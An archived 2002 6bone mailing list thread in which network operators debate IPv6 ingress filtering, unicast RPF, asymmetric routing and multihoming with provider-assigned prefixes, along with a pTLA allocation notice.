To: "Pim van Pelt" <pim@ipng.nl>, "Sandy Wills" <willss@mediaone.net>
Cc: <ipng@uni-muenster.de>, "6bone" <6bone@ISI.EDU>
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Concerning multiple uplinks to different providers; when you use the
word customer, I am assuming you mean an entity with provider dependent
addressing (Some people will have customers with provider independent
addressing).

It is a common scenario to want provider diversity to guard against
transit provider failure or to implement different policies by service
(i.e. Content Delivery Networks, bulk vs. interactive traffic, etc.).
This does not seem to be limited to IPv4.  There's a draft on this at:
http://www.ietf.org/internet-drafts/draft-ietf-multi6-v4-multihoming-00.
txt

-Matthew

> -----Original Message-----
> From: Pim van Pelt [mailto:pim@ipng.nl]
> Sent: Monday, January 28, 2002 7:56 AM
> To: Sandy Wills
> Cc: ipng@uni-muenster.de; 6bone
> Subject: Re: asymmetric routing
> 
> 
> Regarding my statements on asymmetric routing at IPng, Christian
(JOIN)
> reasoned:
> | > Yes, one could filter all but those prefixes a customer holds, but
> then the
> | > customer has to name all his providers/prefixes. You can't force a
> customer
> | > to do so, because that information might be confidential.
> 
> Sandy said:
> |    Isn't this reasoning flawed? Customer #1 has prefix A.  You let
that
> | traffic through.  Customer #2 has prefixes X, Y and Z - but he
doesn't
> | want you to know about Z because he's afraid that you won't like
him.
> | So, you let through traffic with prefixes X and Y.  Stop Z.  Traffic
Z,
> | if any, will go through some other provider, or it won't go through.
> | You're not forcing anyone to do anything.
> |    What am I missing?  You can limit the prefixes you allow to those
> | your customers tell you about.  Your customers can have more than
one
> | feed, and he doesn't have to tell you everything.
> Well it's not really BGP we were talking about. In the BGP world we
can
> filter updates from downstream customers, which means we will not
route
> traffic to them. But what if the customer, with prefix B, sends
traffic
> originating from B via my networks (and I am prefix aggregator A).
Then
> I will inject traffic into the 6BONE that should not be coming from my
> routers.
> This can no longer be taken care of by BGP prefixlist filters, but the
> need
> for ACL based filtering arises. The customer with a desire to be
> multihomed,
> should respect aggregation policies and not send provider A traffic
that
> comes
> from prefix B, when A does not advertise B's prefixes into the default
> free
> zone.
> In practice, unless you deliberately deop the traffic, customers will
send
> you any and all traffic they please. Being passive makes you break
rules.
> This is why I brought my first post to the list. But I think we made
that
> point already ;-)
> 
> |    You're not forcing anyone to do anything.  He is forcing himself
to
> | pay for routers and network people which can direct his traffic out
the
> | proper cables, and HE is the one who suffers if HE screws it up.  He
> | does NOT have the right to force you to enable routing loops because
his
> | routers got confused.
> This is a very harsh point of view. In real life, the customer pays
you to
> handle his traffic, and I can very well understand him wanting more
than
> one
> uplink to different providers, .. , in the ipv4 world this is very
normal.
> However, with IPv6, you (the provider) cannot simply handle any
traffic
> given
> to you by your customers. This breaks the multihomedness we know and
use
> in
> IPv4 networking.
> 
> About dual uplinks and load balancing. These are not layer3 decisions,
and
> can be taken care of at a lower level, eliminating the need of
disjunct
> sets
> of IPv6 addresses (eg, more than one prefix). Does anybody have info
on
> situations where a customer would want more than one AS to uplink to ?
And
> please look at the future when reasoning, not at the present IPv4
> situation.
> 
> groet,
> Pim
> --
> ---------- - -    - - -+- - -    - - ----------
> Pim van Pelt                 Email: pim@ipng.nl
> http://www.ipng.nl/             IPv6 Deployment
> -----------------------------------------------

From 6bone-owner  Mon Jan 28 09:34:11 2002
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From: "Joel Baker" <lucifer@lightbearer.com>
Date: Mon, 28 Jan 2002 10:34:04 -0700
To: 6bone@ISI.EDU
Subject: Re: asymmetric routing
Message-ID: <20020128103404.A27393@lightbearer.com>
References: <200201271706.g0RH6Ig26360@givry.rennes.enst-bretagne.fr> <20020128075017.6E6691139@postfix1.uni-muenster.de>
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On Mon, Jan 28, 2002 at 08:50:38AM +0100, JOIN Project Team wrote:
> Am Sonntag, 27. Januar 2002 18:06 schrieb Francis Dupont:
> > Basically RFC 2827 / BCP 38 about Ingress Filtering should be used
> > for IPv6 too. There are two ways to do ingress filtering: access lists
> > and unicast RPF.
> 
> I don't think it's that easy. Please keep in mind, that a site/customer
> might be multihomed. In that case he might use a different prefix from that 
> assigned by the upstream provider as source address. 
> 
> Yes, one could filter all but those prefixes a customer holds, but then the
> customer has to name all his providers/prefixes. You can't force a customer
> to do so, because that information might be confidential.
> 
> Christian

Except that unlike IPv4, IPv6 doesn't even support the notion of a multi-
homed network, except in drafts, really. That being the whole (misguided)
point of aggregation - to reduce your routing tables and may traffic flows
more tractable.

Not that I think it's a good idea - but it *is* perfectly legitimate to
deny any traffic that is not sourced from a network *you route* to that
customer (this is the basis of unicast filtering) - and at least under IPv6
it is, as far as I can see, reasonable to only route what you have assigned
to them.
-- 
***************************************************************************
Joel Baker                           System Administrator - lightbearer.com
lucifer@lightbearer.com              http://users.lightbearer.com/lucifer/

From 6bone-owner  Mon Jan 28 10:47:50 2002
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	(envelope-from bmanning)
Date: Mon, 28 Jan 2002 10:47:44 -0800
From: Bill Manning <bmanning@ISI.EDU>
To: Bob Fink <fink@es.net>
Cc: 6BONE List <6bone@ISI.EDU>, Bill Manning <bmanning@ISI.EDU>,
        zhang hong <zhangh@cnnic.net.cn>, ipv6group@cnnic.net.cn
Subject: Re: 6bone pTLA 3FFE:8330::/28 allocated to CSTNET
Message-ID: <20020128184744.GE76554@zed.isi.edu>
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On Wed, Jan 23, 2002 at 04:57:57PM -0800, Bob Fink wrote:
> CSTNET has been allocated pTLA 3FFE:8330::/28 having finished its 2-week 
> review period.
> 
> <http://whois.6bone.net/cgi-bin/whois?CSTNET>
> 
> 
> Note that it will take a short while for their pTLA inet6num entry to 
> appear in the 6bone registry as they have to create it themselves. However, 
> their registration is listed on:
> 
> <http://www.6bone.net/6bone_pTLA_list.html>	
> 
> 
> [To create a reverse DNS registration for pTLAs, please send the prefix 
> allocated above, and a list of at least two authoritative nameservers, to 
> either bmanning@isi.edu or hostmaster@ep.net.]
> 
> 
> Thanks,
> 
> Bob


	Looking forward to the update.  Until then, this entry has been
	placed in the DNS:

% dig 3.3.8.e.f.f.3.ip6.int ns @::1

; <<>> DiG 9.2.0 <<>> 3.3.8.e.f.f.3.ip6.int ns @::1
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40784
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;3.3.8.e.f.f.3.ip6.int.         IN      NS

;; AUTHORITY SECTION:
3.3.8.e.f.f.3.ip6.int.  86400   IN      NS      noserver.

;; Query time: 9 msec
;; SERVER: ::1#53(::1)


From 6bone-owner  Mon Jan 28 11:41:13 2002
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Date: Mon, 28 Jan 2002 20:42:08 +0100 (CET)
From: Michael Kjorling <michael@kjorling.com>
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Subject: Re: asymmetric routing
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Well, I am not 100% sure how the big guys solve this (that is,
probably most of you), but what about redundancy in case of
malfunctions? Say, someone digs through a cable (don't laugh! This has
happened to me!). Or some other failure that you have no way to
control.

Such problems can be completely unrelated to whether you are using
IPv4 or IPv6. In fact, I haven't ever heard of anyone cutting through
a cable by accident first asking "OK, what transport protocol is being
used on this one?"


Michael Kjörling


On Jan 28 2002 16:55 +0100, Pim van Pelt wrote:

> About dual uplinks and load balancing. These are not layer3 decisions, and
> can be taken care of at a lower level, eliminating the need of disjunct sets
> of IPv6 addresses (eg, more than one prefix). Does anybody have info on
> situations where a customer would want more than one AS to uplink to ? And
> please look at the future when reasoning, not at the present IPv4 situation.
>
> groet,
> Pim

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')

*** Thinking about sending me spam? Take a close look at
*** http://michael.kjorling.com/spam/ before doing so.
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From 6bone-owner  Mon Jan 28 11:48:34 2002
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From: "Richard & Kathleen Pearson" <rpearso1@tampabay.rr.com>
To: "'Matthew Lehman'" <mlehman@microsoft.com>, "'Pim van Pelt'" <pim@ipng.nl>,
        "'Sandy Wills'" <willss@mediaone.net>
Cc: <ipng@uni-muenster.de>, "'6bone'" <6bone@ISI.EDU>
Subject: RE: asymmetric routing
Date: Mon, 28 Jan 2002 14:54:07 -0500
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Please remove me from the distribution list.  This is the 3rd time I have
asked.  If not complied with, I will report these messages a spam mail.

Thanks

-----Original Message-----
From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of
Matthew Lehman
Sent: Monday, January 28, 2002 12:04 PM
To: Pim van Pelt; Sandy Wills
Cc: ipng@uni-muenster.de; 6bone
Subject: RE: asymmetric routing


Concerning multiple uplinks to different providers; when you use the
word customer, I am assuming you mean an entity with provider dependent
addressing (Some people will have customers with provider independent
addressing).

It is a common scenario to want provider diversity to guard against
transit provider failure or to implement different policies by service
(i.e. Content Delivery Networks, bulk vs. interactive traffic, etc.).
This does not seem to be limited to IPv4.  There's a draft on this at:
http://www.ietf.org/internet-drafts/draft-ietf-multi6-v4-multihoming-00.
txt

-Matthew

> -----Original Message-----
> From: Pim van Pelt [mailto:pim@ipng.nl]
> Sent: Monday, January 28, 2002 7:56 AM
> To: Sandy Wills
> Cc: ipng@uni-muenster.de; 6bone
> Subject: Re: asymmetric routing
> 
> 
> Regarding my statements on asymmetric routing at IPng, Christian
(JOIN)
> reasoned:
> | > Yes, one could filter all but those prefixes a customer holds, but
> then the
> | > customer has to name all his providers/prefixes. You can't force a
> customer
> | > to do so, because that information might be confidential.
> 
> Sandy said:
> |    Isn't this reasoning flawed? Customer #1 has prefix A.  You let
that
> | traffic through.  Customer #2 has prefixes X, Y and Z - but he
doesn't
> | want you to know about Z because he's afraid that you won't like
him.
> | So, you let through traffic with prefixes X and Y.  Stop Z.  Traffic
Z,
> | if any, will go through some other provider, or it won't go through.
> | You're not forcing anyone to do anything.
> |    What am I missing?  You can limit the prefixes you allow to those
> | your customers tell you about.  Your customers can have more than
one
> | feed, and he doesn't have to tell you everything.
> Well it's not really BGP we were talking about. In the BGP world we
can
> filter updates from downstream customers, which means we will not
route
> traffic to them. But what if the customer, with prefix B, sends
traffic
> originating from B via my networks (and I am prefix aggregator A).
Then
> I will inject traffic into the 6BONE that should not be coming from my
> routers.
> This can no longer be taken care of by BGP prefixlist filters, but the
> need
> for ACL based filtering arises. The customer with a desire to be
> multihomed,
> should respect aggregation policies and not send provider A traffic
that
> comes
> from prefix B, when A does not advertise B's prefixes into the default
> free
> zone.
> In practice, unless you deliberately deop the traffic, customers will
send
> you any and all traffic they please. Being passive makes you break
rules.
> This is why I brought my first post to the list. But I think we made
that
> point already ;-)
> 
> |    You're not forcing anyone to do anything.  He is forcing himself
to
> | pay for routers and network people which can direct his traffic out
the
> | proper cables, and HE is the one who suffers if HE screws it up.  He
> | does NOT have the right to force you to enable routing loops because
his
> | routers got confused.
> This is a very harsh point of view. In real life, the customer pays
you to
> handle his traffic, and I can very well understand him wanting more
than
> one
> uplink to different providers, .. , in the ipv4 world this is very
normal.
> However, with IPv6, you (the provider) cannot simply handle any
traffic
> given
> to you by your customers. This breaks the multihomedness we know and
use
> in
> IPv4 networking.
> 
> About dual uplinks and load balancing. These are not layer3 decisions,
and
> can be taken care of at a lower level, eliminating the need of
disjunct
> sets
> of IPv6 addresses (eg, more than one prefix). Does anybody have info
on
> situations where a customer would want more than one AS to uplink to ?
And
> please look at the future when reasoning, not at the present IPv4
> situation.
> 
> groet,
> Pim
> --
> ---------- - -    - - -+- - -    - - ----------
> Pim van Pelt                 Email: pim@ipng.nl
> http://www.ipng.nl/             IPv6 Deployment
> -----------------------------------------------

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From 6bone-owner  Mon Jan 28 13:06:54 2002
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content-class: urn:content-classes:message
Subject: RE: asymmetric routing
Date: Mon, 28 Jan 2002 13:06:42 -0800
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Pim van Pelt" <pim@ipng.nl>, "Sandy Wills" <willss@mediaone.net>
Cc: <ipng@uni-muenster.de>, "6bone" <6bone@ISI.EDU>
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I mostly agree with Pim's postings.

> Does anybody have info on situations where a customer would want
> more than one AS to uplink to.

Practically speaking, it is not possible today. Unless you are a transit
provider, there are no practical advantages today in peering with two
different ASNs except experimenting.


1. In the current situation (meaning, no IPv6 multihoming), I don't see
a reason NOT to filter customer's (ACL) by denying everything except the
customer's PA prefixes. The only IPv6 addresses being assigned today are
PA (provider assigned), not PI (provider independent). Assymetric
routing (meaning, across different providers connected to one customer)
should (eventually) occur only with PI addresses.

If a provider sees traffic from a customer originating from PA address
space that does not belong to that customer/provider pair, it means:
a) spoofing
b) the customer's is multihomed and the multihoming source address
selection or policy routing (that currently does not exist) is broken.
c) the customer is being used as a transit provider. This means a
cluster f... in the routing and the customer should also filter to avoid
this.


2. In the future, and as both the acting editor for the IPv6 multihoming
requirements draft and the author of an IPv6 solution draft,
http://search.ietf.org/internet-drafts/draft-py-multi6-mhtp-01.txt
I think that IPv6 multihoming solutions to be developped will either:
a) be host-based multi-address solution with a PA address selection
mechanism combined with source-address based policy routing.
b) implement a PI (provider independent) address space.

In either case, filtering customer's PA traffic by restricting traffic
from and to the address space that the provider assigned to the customer
will NOT break the multihoming scheme.

The difference between IPv4 and IPv6 is that IPv6 is strongly
aggregated. As of today, no provider should accept routes from customers
that they do not own. There is no reason to accept traffic from prefixes
that they do not own eiher. ACL filtering should match BGP filtering.

In short: it is too early to assume anything about IPv6 PI addresses as
of today. For IPv6 PA addresses, DO filter. If you break something, that
something should not have happened in the first place.

Michel.


From 6bone-owner  Mon Jan 28 18:00:15 2002
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Date: Mon, 28 Jan 2002 21:00:11 -0500 (EST)
From: Ville <villearc@stealth.net>
To: 6bone@ISI.EDU
Subject: Re: asymmetric routing
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Pim,

On Sun, 27 Jan 2002, Pim van Pelt wrote:

> (snip)

> What do the folk from Cisco think about these anti-spoof measures being set
> to enabled state per default (user overridable of course) ?

	Well, not being from Cisco, strictly from an NSP point of view, I
	would wonder the feasibleness of forcing such political decisions
	with the means of hardware. ,)  --

	As I see it, it is not all about anti-spoof, a fair part of it
	constitutes simply from plain host-based routing with basic
	cheapest-path-wins. Uplinks and global BGP cannot know about any
	such decisions taken.

	Anyhow, FWIW-

	Sample configurations are one thing, defaults are another.

	Count the times people wanted all routing h/w to ignore ICMP
	echo-requests by default for the sheer cause of ``ping -f''. Sum
	that up with the amount of other similar suggestions during
	previous years and the way how time does wear them off?

	Sure, such defaults are ideal, but as they begin summing up, they
	do make initial and fault-time debugging a nightmare. Similarly,
	they may well result in unintended loss of CPU-time as seemingly
	similar header-data is scanned at multiple hops, all inside one
	organization or even at the same POP.

	Thing considered valid at the border may not be considered wise
	at the core - and vice versa.

	After the smurf-era, I believe Unicast RPF (Reverse Path
	Forwarding) was sufficiently discussed. For what I can see, the
	discussed functionality does exist in the degree necessary and
	and is easy to enable where desired. For any simple end-site,
	it probably really is the preferred course of action.

		interface/
		# ip verify unicast reverse-path

		[ie.  verify any packet received on the interface for
		source-validity by the means of checking availability
		of existing path back to the source via the same IF.]


	And yes, as an end-user, I probably do despise IP-spoofing in
	a rather similar degree.


> Pim

Cheers,
-- 
	Ville <viha@stealth.net>  Network Security/IPv6 Solutions
				  Stealth Communications, Inc.


From 6bone-owner  Mon Jan 28 18:43:47 2002
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Date: Mon, 28 Jan 2002 21:43:43 -0500 (EST)
From: Ville <villearc@stealth.net>
To: 6bone <6bone@ISI.EDU>
Subject: RE: asymmetric routing
In-Reply-To: <2B81403386729140A3A899A8B39B046405DE79@server2000.arneill-py.sacramento.ca.us>
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Michel,

On Mon, 28 Jan 2002, Michel Py wrote:

> a reason NOT to filter customer's (ACL) by denying everything except the
> customer's PA prefixes. [...]

Assume the case of a content-provider (return-traffic business) -

	If one, as an end-user, receives transit from two different
        providers (flat-rate FLAT1, pay-per-bandwidth PPBW2) and sub-
	sequently receives two separate prefixes (2001:FLAT1:cust::,
	2001:PPBW2:cust::), he would probably rather route back any and
	all non-local traffic via FLAT1 unless the circuit in question is
	already overloaded. Perhaps the specific IP-address used belongs
	to PPBW2 simply because they provide better service in cases of
	failure and offer stability (whereas FLAT1 could be changed into
	another flat-rate provider FLAT2 with no change visible to the
	end-user as their addresses are not used for anything).

        Any reason to tell a paying customer you are not willing to let
	his elsewhere-belonging packets travel back through your network
	just because s/he prefers static routing? Talking in the gigabit-
	range, yet about sites that do not qualify for (or desire) a
	direct PI-allocation. Carriers can hardly be expected to babysit
	players of size as they will only move elsewhere if mistreated.

        Another example: User wants to preserve his old pay-per-bandwidth
        IP-address 2001:PPBW2:cust::1 which is a bandwidth-exploder service
        (say, anonymous FTP). He downgrades this specific PPBW2-pipe
	from GigE into the 2 Mbit class while upgrades his connection to
	FLAT1 into 10GigE.

        Problem solved: He pushes everything back [in direct contradiction
        with the proposal and unicast-rpf] via FLAT1, which boasts lots of
	unoccupied b/w and does not charge by the byte. 2 Mbit is well
	enough for the incoming "PASS ftp@", "PASV" and "LIST" via PPBW2,
	while all true data is pushed back through the flat-rate 10GigE
	provided by FLAT1.

	Not really commenting on neither the current state of things nor
	the future I either envision or fear. I am rather trying to build
	a sample of what I would view as some of the schemes expectable.



> Michel.

Cheers,
-- 
	Ville <viha@stealth.net>  Network Security/IPv6 Solutions
				  Stealth Communications, Inc.


From 6bone-owner  Mon Jan 28 23:55:18 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Michael Kjorling <michael@kjorling.com>
Cc: 6bone <6bone@ISI.EDU>
Subject: Need for N-homedness (was Re: asymmetric routing)
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References: <20020128155558.GA7875@bfib.colo.bit.nl> <Pine.LNX.4.44.0201282039470.17313-100000@varg.wolfpack>
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| Well, I am not 100% sure how the big guys solve this (that is,
| probably most of you), but what about redundancy in case of
| malfunctions? Say, someone digs through a cable (don't laugh! This has
| happened to me!). Or some other failure that you have no way to
| control.
| 
| Such problems can be completely unrelated to whether you are using
| IPv4 or IPv6. In fact, I haven't ever heard of anyone cutting through
| a cable by accident first asking "OK, what transport protocol is being
| used on this one?"
| 
Michael, others,

I believe it is a common misconception that having redundant uplinks have
something to do with which protocol you speak and, having redundant uplinks
(two fiber pairs to your ISP(s)) also has nothing to do with dualhomedness.

Riverstone for example, has a 'smart trunk' functionality, which means 
combining two or more physical ports (ether, pos, atm, gige) into one layer3
endpoint, enabling packet-for-packet loadbalancing over two lines, or some
crude (at that time) form of QoS routing, by sending realtime over link A and
lower prio over link B. We used to have two E1 links between two locations,
with the restriction that both links started and ended in the same physical
box (note the SPoF here).

You can easily have multiple fibers with layer2 also, think of fast spanning
tree or other (faster) protocols like VRRP. Again, no need for more than one
aggregating ISP.

The ISP can buy transit from more than one carrier, can set up iBGP sessions
with two of the customer (downstream) routers via two cables, for all I care:

TRANSIT1-(R1)------fiber-to-customer-----(R3)---\
          |                               |     |------network at customer
TRANSIT2-(R2)-----backup-E1-to-customer--(R4)---/
(fear my ascii art - best viewed in xterm, not in Outlook et al :)

ISP has R1/R2, interconnected and each one having an uplink with a full view
of the dfz via seperate transit providers. Customer has R3/R4, each linking 
to an ISP via a seperate physical circuit, and handling the customers network
via VRRP (a protocol which switches 'the default gw' between R3 and R4 if 
either one fails). Most new hardware does this.

I fail to see any need for more than one prefix per customer, and still say
that IF a customer has more than one prefix, his R3/R4 should preform source
based policy routing, sending traffic from prefixA through the circuits to
ISPA and traffic from prefixB to ISPB. 

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Tue Jan 29 01:56:51 2002
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From: David Terrell <dbt@meat.net>
To: JOIN Project Team <ipng@uni-muenster.de>
Cc: Francis Dupont <Francis.Dupont@enst-bretagne.fr>,
        Michael Kjorling <michael@kjorling.com>, 6bone <6bone@ISI.EDU>,
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Subject: Re: asymmetric routing
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On Mon, Jan 28, 2002 at 08:50:38AM +0100, JOIN Project Team wrote:
> Am Sonntag, 27. Januar 2002 18:06 schrieb Francis Dupont:
> > Basically RFC 2827 / BCP 38 about Ingress Filtering should be used
> > for IPv6 too. There are two ways to do ingress filtering: access lists
> > and unicast RPF.
> 
> I don't think it's that easy. Please keep in mind, that a site/customer
> might be multihomed. In that case he might use a different prefix from that 
> assigned by the upstream provider as source address. 
> 
> Yes, one could filter all but those prefixes a customer holds, but then the
> customer has to name all his providers/prefixes. You can't force a customer
> to do so, because that information might be confidential.

If my customer doesn't want me to know what prefixes he owns, he
shouldn't send traffic from them to me, or I'll know.

-- 
David Terrell           | "Anyone want to start a fund for students
Nebcorp Prime Minister  | that vow not to work at MS?"
dbt@meat.net            |  - Libor Michalek
http://wwn.nebcorp.com/

From 6bone-owner  Tue Jan 29 05:12:31 2002
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: ipng@uni-muenster.de
cc: Michael Kjorling <michael@kjorling.com>, 6bone <6bone@ISI.EDU>,
        Pim van Pelt <pim@ipng.nl>
Subject: Re: asymmetric routing 
In-reply-to: Your message of Mon, 28 Jan 2002 08:50:38 +0100.
             <20020128075017.6E6691139@postfix1.uni-muenster.de> 
Date: Tue, 29 Jan 2002 14:08:50 +0100
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 In your previous mail you wrote:

   > Basically RFC 2827 / BCP 38 about Ingress Filtering should be used
   > for IPv6 too. There are two ways to do ingress filtering: access lists
   > and unicast RPF.
   
   I don't think it's that easy. Please keep in mind, that a site/customer
   might be multihomed. In that case he might use a different prefix from that 
   assigned by the upstream provider as source address. 
   
=> there are some cases where uRPF can't work but there are some myths
too about uRPF limitations, look at:
http://www.cisco.com/public/cons/isp/documents/uRPF_Enhancement.pdf

   Yes, one could filter all but those prefixes a customer holds, but then the
   customer has to name all his providers/prefixes. You can't force a customer
   to do so, because that information might be confidential.
   
=> in fact we don't need ingress filtering everywhere, we just need enough
ingress filtering in order to make random source address spoofing
unattractive.
The current issue with IPv6 ingress filtering is not (yet) multi-homing,
this is simply the lack of tools...

Regards

Francis.Dupont@enst-bretagne.fr

From 6bone-owner  Tue Jan 29 07:56:10 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Ville" <villearc@stealth.net>, "6bone" <6bone@ISI.EDU>
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Ville,

>> Michel Py wrote:
>> a reason NOT to filter customer's (ACL) by denying everything
>> except the customer's PA prefixes. [...]

> Ville wrote:
> Assume the case of a content-provider (return-traffic business)
> If one, as an end-user, receives transit from two different
> providers (flat-rate FLAT1, pay-per-bandwidth PPBW2) and sub-
> sequently receives two separate prefixes (2001:FLAT1:cust::,
> 2001:PPBW2:cust::), he would probably rather route back any and
> all non-local traffic via FLAT1 unless the circuit in question
> is already overloaded.
> [SNIP]

Technically, a valid scenario. Realistically, not much. I know
lots of people that, placed in the shoes of FLAT1, will deny return
traffic with a source address that belongs to PPBW2. The rationale
is: PPBW2 is my direct competitor. If I have to carry their traffic
I want money for that.

In terms of fault tolerance, this is worse than a single link. If
either link is broken, the content providing is gone. The chances
of having one link broken out of two are twice those of a single
link. It would be better to have the traffic originating to FLAT1
in the first place as the "PASS ftp@", "PASV" and "LIST" will not
change much of the bandwidth situation.

In this situation, the backup link still makes sense for a MX with
higher priority to keep email flowing and still providing access to
the net. However, there is no gain in policing the return traffic
originated to PPBW2 to return over FLAT1. If FLAT1 is down, you are
down anyway.

Michel.


From 6bone-owner  Tue Jan 29 08:25:10 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Pim van Pelt" <pim@ipng.nl>, "Michael Kjorling" <michael@kjorling.com>
Cc: "6bone" <6bone@ISI.EDU>, <multi6@ops.ietf.org>
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Pim,

> Pim van Pelt wrote:
> (fear my ascii art - best viewed in xterm, not in Outlook et al :)

Actually, it displays OK in Outlook.


> TRANSIT1-(R1)----fiber-to-customer-----(R3)---\
>            |                             |     |------network at
customer
> TRANSIT2-(R2)---backup-E1-to-customer--(R4)---/

This setup is good enough for most. Unfortunately, it is not available
everywhere, and it does not provide redundancy if something happens to
R1-R2 that are located in the same building.

> I fail to see any need for more than one prefix per customer,

I assume you mean more than one provider independant (PI) prefix.

The main driving force behind that is the elimination of (PI) addresses,
One of the animals that clog the IPv4 DFZ today. It is too early to know
if there will be ANY IPv6 PI addresses at all.


> and still say that IF a customer has more than one prefix, his R3/R4
> should preform source based policy routing, sending traffic from
prefixA
> through the circuits to ISPA and traffic from prefixB to ISPB.

Definitely. However, this is not enough. There are two other problems
with
this scheme (that is likely to become part of the IPv6 multihoming
solution):
1. Address selection by the source that has to choose between ISPA ans
ISPB.
2. Make sure that the host (server) that has two addresses, uses the
correct one to return the traffic (the one that the traffic was sent
to).

Michel.

P.S. I think that this thread should be switched to the multi6 mailing
list.


From 6bone-owner  Tue Jan 29 09:31:04 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Francis Dupont" <Francis.Dupont@enst-bretagne.fr>, <ipng@uni-muenster.de>
Cc: "Michael Kjorling" <michael@kjorling.com>, "6bone" <6bone@ISI.EDU>,
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6bone folk,

>> Basically RFC 2827 / BCP 38 about Ingress Filtering should be
>> used for IPv6 too. There are two ways to do ingress filtering:
>> access lists and unicast RPF.
   
> I don't think it's that easy. Please keep in mind, that a
> site/customer might be multihomed. In that case he might use a
> different prefix from that assigned by the upstream provider as
> source address. 

FYI: I just added the following text as a proposed requirement
For IPv6 multihoming solutions.

"IPv6 multihoming solutions MUST be compatible with sites that
implement RPF checks or filtering that prevents traffic to be sent
back from a different interface it came in."

I welcome your comments on:

1. Is this posting on-topic for the 6bone list? In other words, is
it appropriate to post here some multi6 topics that have
implications for the 6bone folks for the benefit of those who do
not subscribe to the multi6 mailing list?

2. if yes, the text itself.

Michel.


From 6bone-owner  Wed Jan 30 07:57:34 2002
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To: Michel Py <michel@arneill-py.sacramento.ca.us>
CC: Francis Dupont <Francis.Dupont@enst-bretagne.fr>, ipng@uni-muenster.de,
        Michael Kjorling <michael@kjorling.com>, 6bone <6bone@ISI.EDU>,
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I think the harm caused by sloppy aggregation of address space is clear. 
I think the harm caused by inadequate filtering of source addresses is 
also clear.

These are separate considerations, however. Forwarding traffic with a 
source address that is not your own, for good or ill, doesn't harm the 
routing table in the same way that unaggregated advertisements do, and 
so it seems to me it's entirely compatible with (or agnostic of) the 
principle of strict aggregation.

If the customer has legitimate reason for sending alien traffic (i.e. 
the space has been allocated to the customer by another ISP), I see no 
reason why the ISP can't choose to allow it. In fact, if an ISP has to 
advertise an address block just to be allowed source traffic from it, 
that is a big incentive to clutter the routing table.


> FYI: I just added the following text as a proposed requirement
> For IPv6 multihoming solutions.
> 
> "IPv6 multihoming solutions MUST be compatible with sites that
> implement RPF checks or filtering that prevents traffic to be sent
> back from a different interface it came in."


We get asymmetric traffic all the time in the default free zone, since 
we're all allowed to choose localprefs independently of each other. It's 
no big deal. Where a site chooses to allow a customer route traffic 
asymmetrically, and otherwise implements RFC2827, I don't understand the 
harm in allowing a multihoming solution based on this. My instinct says 
that we'd lose a whole swathe of potential solutions for arguably little 
benefit.

Dave



From 6bone-owner  Wed Jan 30 20:35:16 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Dave Wilson" <dave.wilson@heanet.ie>
Cc: "Francis Dupont" <Francis.Dupont@enst-bretagne.fr>, <ipng@uni-muenster.de>,
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Dave,

> Dave Wilson wrote:
> I think the harm caused by sloppy aggregation of address space
> is clear.
> I think the harm caused by inadequate filtering of source
> addresses is also clear.

Concur.

> These are separate considerations, however. Forwarding traffic
> with a source address that is not your own, for good or ill,
> doesn't harm the routing table in the same way that unaggregated
> advertisements do, and so it seems to me it's entirely compatible
> with (or agnostic of) the principle of strict aggregation.

Concur also.

> In fact, if an ISP has to advertise an address block just to
> be allowed source traffic from it, that is a big incentive to
> clutter the routing table.

Concur again.

> If the customer has legitimate reason for sending alien traffic
> (i.e. the space has been allocated to the customer by another
> ISP), I see no reason why the ISP can't choose to allow it.

Can we enumerate the legitimate reasons for sending (accepting I
think would be more appropriate) alien IPv6 PA traffic? In my mind,
there are not any, and multihoming is NOT a legitimate reason. It's
not like it is a bad idea, but requirering ISPs to transport the
traffic of their competitors is not going to fly, no way.

Imagine the following scenario:
You are a multihomed content provider. You have two ISPs, X and Y.
You have two PA prefixes, PX and PY. A dial-up customer queries
your server using its PX address. The return traffic (src=PX,
dest=cust) could, indeed, go out through ISP Y.

What is wrong with that: ISP Y is going to scream that it
transports ISP X' (its direct competitor) traffic for free. The
return traffic, from the multihomed content provider to Joe
customer, is the bulk of the bandwidth as of today.

This is more about ingress filtering than about assymetric traffic.
I am not saying that assymetric traffic is bad (I am sure that many
of us could live without it, though). I think that a by-product of
the strong aggregation of IPv6 prefixes will be a lot more
symmetric traffic patterns.

The point I am trying to make is: unless you can give me a
legitimate reason why ISP Y should accept ISP X' PA prefix PX as
the source, there is no reason NOT to have access-lists that deny
customer's traffic that has a source address that not belong to the
ISP's PA address space and is not a PI address. There are no IPv6
PI addresses as of today. Please prove me wrong.

> We get asymmetric traffic all the time in the default free zone,
> since we're all allowed to choose localprefs independently of
> each other. It's no big deal.

Assymetric for PI addresses, yes. Alien AP trafic coming from one
of your own customers, another kind of animal.

> Where a site chooses to allow a customer route traffic
> asymmetrically, and otherwise implements RFC2827, I don't
> understand the harm in allowing a multihoming solution based on
> this. My instinct says that we'd lose a whole swathe of
> potential solutions for arguably little benefit.

The main harm is to the perceived revenue loss transporting other
provider's traffic for free. A little bird has told me that most
ISPs perceive it very strongly.

Michel.


From 6bone-owner  Wed Jan 30 23:38:37 2002
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Date: Thu, 31 Jan 2002 09:38:05 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Dave Wilson <dave.wilson@heanet.ie>
